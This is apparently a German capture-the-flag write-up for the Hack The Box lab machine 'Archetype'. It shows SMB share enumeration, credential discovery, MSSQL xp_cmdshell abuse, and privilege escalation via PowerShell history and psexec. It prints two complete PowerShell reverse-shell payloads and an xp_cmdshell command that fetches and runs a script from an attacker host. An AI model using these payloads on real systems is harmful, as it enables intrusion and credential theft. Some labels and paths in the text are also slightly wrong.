Archetype ist die erste Maschine in der Liste Starting Point. Die meisten neuen Benutzer bei HTB werden diese Liste als Einstiegspunkt bei HTB nutzen und kommen dementsprechend zuerst mit dieser Maschine in Kontakt.
Maschine
Betriebssystem: Windows
Veröffentlicht: 01.12.2020
Bewertung: Very Easy
1. Discovery
Nachdem ich meine virtuelle Maschine mit dem Netzwerk von VPN verbunden habe, verschaffe ich mir im ersten Schritt, wie in den meisten Fällen, einen Überblick mit NMAP.
nmap -sV -sC <ip>
Wir haben vier offene Ports gefunden. Bei der genaueren Untersuchung der einzelnen Dienste fange ich bei SMTP an.
2. SMTP
Mit dem folgenden Befehl prüfen wir welche Ordner auf dem Zielrechner freigegeben sind.
smbclient -L //10.10.10.27
Ein Passwort war nicht nötig. Anhand des $ nach ADMIN, C und IPC können wir erkennen das diese Ordner nicht ohne entsprechende Berechtigung geöffnet werden können. Der Ordner backups hingegen sollte lesbar sein.
smbclient //10.10.10.27/backups
Wie erwartet haben wir Zugriff auf den Ordner backups. Innerhalb des Ordners ist die Datei prod.dtsConfig zu finden. Diese können wir mit folgenden Befehl herunterladen:
mget prod.dtsConfig
Innerhalb der Datei finden wir die User ID ARCHETYPE\sql_svc und das dazugehörige Passwort.
3. SQL Datenbank
Die gefundene User ID legt nah das es sich um ein Benutzer für eine SQL Datenbank handelt. Durch den Portscan wissen wir bereits das eine MSSQL Datenbank auf Port 1433 existiert. Im nächsten Schritt versuchen wir uns mit dieser zu verbinden. Dafür nutzen wir den MySQL Client (mysqlclient.py) aus der Impacket Sammlung (Link).
python3 mssqlclient.py sql_svc@10.10.10.27 -windows-auth
Wie an der Ausgabe zu erkennen ist, war der Login erfolgreich. Mit dem Befehl help habe ich im nächsten Schritt mögliche Befehle geprüft.
Für die nächsten Schritte im SQL Server habe ich auf Hacktricks.xyz nachgeschlagen. Dies ist eine gute Quelle wie in verschiedenen Fällen vorgegangen werden kann (Link). Wir versuchen als nächstes die Shell zu aktivieren.
enable_xp_cmdshell
Wie an der Ausgabe erkannt werden kann ist die Shell aktiv. Wir können nun theoretisch einen Befehl ausführen. Ziel ist es vollen Zugriff auf das System zu gelangen. Aus diesem Grund versuchen wir im nächsten Schritt eine Reverse Shell zu implementieren.
4. Reverse Shell
Nachdem wir Befehle auf dem Ziel ausführen können, können wir dem Ziel sagen er soll von uns eine Reverse Shell herunterladen und anschließend ausführen. Dafür speichern wir eine Reverse Shell auf unsere Angreifer VM, starten im selben Ordner einen Webserver und führen in einer weiteren Konsole mithilfe von Netcat einen Listener aus.
Reverse Shell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.55',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('10.10.14.55',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Webserver:
sudo python3 -m http.server 8080
Listener:
nc -lvnp 4444
Nachdem alles eingerichtet ist können wir über den SQL Server dem Ziel mitteilen er soll die Reverse Shell herunterladen und ausführen:
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.55:8080/shell.ps1") | powershell -noprofile'
In der Konsole beim Webserver kann beobachtet werden das das Ziel die Shell herunterlädt. In der Konsole wo Netcat läuft dürfte nun eine ähnliche Meldung wie die folgende erscheinen:
connect to [10.10.14.55] from (UNKNOWN) [10.10.10.27] 49681
Von nun an können wir in dieser Konsole direkt Befehle an das Ziel senden.
5. User Flag
Die User Flag kann direkt über die Konsole auf dem Desktop des Benutzers gefunden werden.
cd C:\Users\sql_svc\Desktop
Get-Content user.txt
6. Privileg Escalation
Um die Root Flag zu bekommen benötigen wir die Rechte des Administrators. An dieser Stelle habe ich vieles ausprobiert. Kurz zusammengefasst besteht das Problem darin das Skripte wie z.B. winPEAS keine Schwachstelle finden und die vorhandene Reverse Shell kein normales Login mit einem anderen Benutzer ermöglicht. Letztlich habe ich mich durch eine Checkliste gearbeitet und in der PowerShell Historie die Credentials des Administrator gefunden. Ähnlich wie unter Linux werden auch in Windows die Befehle in der Powershell geloggt. Dies ist bei Windows unter %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
der Fall.
cd C:\Users\sql_svc\Roaming\Microsoft\Windows\PowerShell\PSReadline\
Get-Content ConsoleHost_history.txt
Nun sind wir im Besitz der Login Daten des Administrators. Jedoch können wir uns immer noch nicht einloggen. Aus diesem Grund habe ich mir die offenen Ports erneut angeguckt und versucht über dem SMBClient und den neuen Credentials auf die anderen Ordner zuzugreifen.
Wie im Screenshot zu erkennen ist dies nicht möglich. Da sich die anderen Dienste nicht ausnutzen lassen habe ich gegoogelt und bin auf eine Anleitung für das Testen von SMB Diensten gestoßen (Link). Dort wird untanderem das Tool CrackMapExec beschrieben welches im nächsten Schritt genutzt wird. Dafür muss es jedoch erst einmal installiert werden.
python3 -m pip install pipx
pipx ensurepath
pipx install crackmapexec
Nachdem das Tool erfolgreich installiert wurde führen wir es mit folgenden Befehl aus:
crackmapexec smb 10.10.10.27 -u administrator -p 'ZENSIERTES_PW'
Das Passwort muss in Hochkommatas gesetzt werden damit der Befehl richtig ausgeführt wird. Die folgende Ausgabe bestätigt uns das es wie gewünscht funktioniert hat.
Nun sollten wir uns erfolgreich mit dem Tool psexec.py und den Administrator Account mit dem Ziel verbinden können. Das Tool ist ebenfalls bestandteil der Impacket Sammlung.
psexec.py administrator@10.10.10.27
Nachdem ein Login erfolgreich war können wir die Root Flag auf dem Desktop einsehen.
cd C:\Users\Administrator\Desktop
type root.txt